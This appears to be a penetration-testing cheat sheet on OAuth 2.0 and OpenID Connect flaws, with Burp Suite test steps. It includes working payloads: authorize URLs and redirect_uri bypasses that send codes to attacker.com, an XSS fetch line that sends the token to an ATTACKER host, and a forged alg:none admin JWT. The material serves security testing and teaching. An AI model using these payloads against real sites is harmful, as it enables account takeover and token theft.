OAuth 2.0 & OpenID Connect Attacks
OAuth 2.0 and OpenID Connect attack techniques: auth code interception via open redirect, state bypass, implicit flow token theft, PKCE downgrade, JWT algorithm confusion on ID tokens, account linking flaws, and Burp testing workflow.
OAuth 2.0 Flows
| Grant Type | When used | Risk |
|---|---|---|
| Authorization Code | Server-side apps | Code interception, state bypass |
| Implicit | JS SPAs (legacy) | Token in URL fragment — logged, leaked |
| Client Credentials | Machine-to-machine | Client secret exposure |
| PKCE | Mobile / SPAs | PKCE downgrade, code injection |
Reconnaissance
Find the OAuth provider’s configuration endpoint:
https://PROVIDER/.well-known/oauth-authorization-server
https://PROVIDER/.well-known/openid-configuration
This leaks: authorization_endpoint, token_endpoint, userinfo_endpoint, supported scopes, response types, and grant types.
Check the scope parameter on the authorization request — apps sometimes request more than they need (e.g. scope=openid profile email admin).
Detection: Identify the flow in Burp Proxy
Browse login → Proxy → HTTP history. Look for:
-
A redirect to an external OAuth provider with parameters:
response_type=code→ Authorization Code flowresponse_type=token→ Implicit flowclient_id=,redirect_uri=,scope=,state=
-
After login, a redirect back with
code=(auth code) or#access_token=(implicit). -
A back-end POST to the token endpoint exchanging the code for a token.
Attack 1: Auth Code Interception via Open Redirect
If the app has an open redirect and the OAuth server allows arbitrary redirect_uri, craft a URL that sends the code to your server:
https://OAUTH_SERVER/authorize?
client_id=TARGET_CLIENT_ID&
redirect_uri=https://TARGET/callback?next=https://attacker.com&
response_type=code&
scope=openid profile email&
state=csrf_token
When the victim clicks your link and authorises, the code is appended to the redirect, which redirects to attacker.com?code=ABC123. You exchange the code for a token on the back-end.
If redirect_uri is validated on the domain only (path traversal bypass)
redirect_uri=https://TARGET.com/callback/../redirect?to=https://attacker.com
redirect_uri=https://TARGET.com@attacker.com
redirect_uri=https://attacker.com.TARGET.com
Attack 2: State Parameter Missing / Not Validated
The state parameter is OAuth’s CSRF protection. If it’s absent or not validated:
- Initiate an OAuth login yourself — capture the authorization URL.
- Do not follow the redirect (don’t authorize yet).
- Send the authorization URL to the victim (social engineering / stored XSS).
- The victim authorises — the code is sent to the
redirect_uri(the legitimate app). - The app logs the victim in — your session is now authenticated as them.
Test in Burp:
- Log in with OAuth, capture the callback request with
code=. - Drop it in Burp (don’t let the app process it).
- Change the
statevalue to anything. - Forward — if the app still accepts it → state not validated.
Attack 3: Implicit Flow Token Theft
In the implicit flow, the access token appears in the URL fragment (#access_token=...). The token is:
- Logged in browser history
- Sent in
Refererheaders to embedded third-party resources - Visible to JavaScript on the page
If a page with a stored XSS is visited after OAuth login, the fragment is accessible:
// From XSS on the target domain
fetch('https://ATTACKER/?token=' + location.hash);
Attack 4: Flawed Scope Upgrade
Some providers allow scope upgrades mid-session. If the app requests scope=openid profile but the provider also accepts scope=openid profile email admin:
Modify the scope parameter in the Proxy intercept before it reaches the OAuth server and add privileged scopes.
Attack 5: Unverified Email in ID Token
OpenID Connect returns an id_token (JWT) containing the user’s email claim. If the app:
- Authenticates based on the email in the ID token, AND
- Does not verify the ID token signature / issuer
Create your own JWT with any email and submit it:
{
"alg": "none"
}
{
"email": "admin@target.com",
"sub": "admin"
}
Attack 6: Algorithm Confusion on ID Token (RS256 → HS256)
If the app uses the OAuth provider’s public key to verify RS256 JWTs but also accepts HS256:
- Retrieve the provider’s public key from
/.well-known/jwks.json. - Re-sign the modified JWT using HS256 with the public key as the HMAC secret.
- The server verifies the HS256 signature using the public key — and it passes.
In Burp → JWT Editor extension:
- Capture a response containing an
id_token. - Send to JWT Editor Keys → import the provider’s public key.
- In Repeater, switch alg to HS256 in the JWT header, modify claims, sign with the public key.
Attack 7: Account Linking Flaw
Apps that allow linking a social OAuth account to an existing account often do so based on matching email addresses. If you can register an OAuth account at the provider using a victim’s email (when the provider doesn’t verify email ownership):
- Create an OAuth account at
provider.comusingvictim@target.com. - Log into the app via OAuth.
- The app links it to the victim’s existing account.
- You are now authenticated as the victim.
PKCE Downgrade
PKCE protects the Authorization Code flow for public clients. If the server accepts requests without code_verifier (i.e. doesn’t enforce PKCE when a challenge was presented):
- Initiate PKCE flow normally (app sends
code_challenge). - Intercept the token exchange request.
- Remove the
code_verifierparameter. - If the server still issues a token → PKCE not enforced.
Burp Suite workflow
- Proxy — capture the full OAuth login flow (authorization request, callback with code, token exchange).
- Repeater — test
redirect_urimanipulation, state removal, scope upgrade. - JWT Editor extension — decode and modify
id_token/access_token, test alg:none and algorithm confusion. - Burp Collaborator — use as
redirect_urito receive leaked codes. - Scanner — active scan detects open redirect chains and unvalidated state parameters.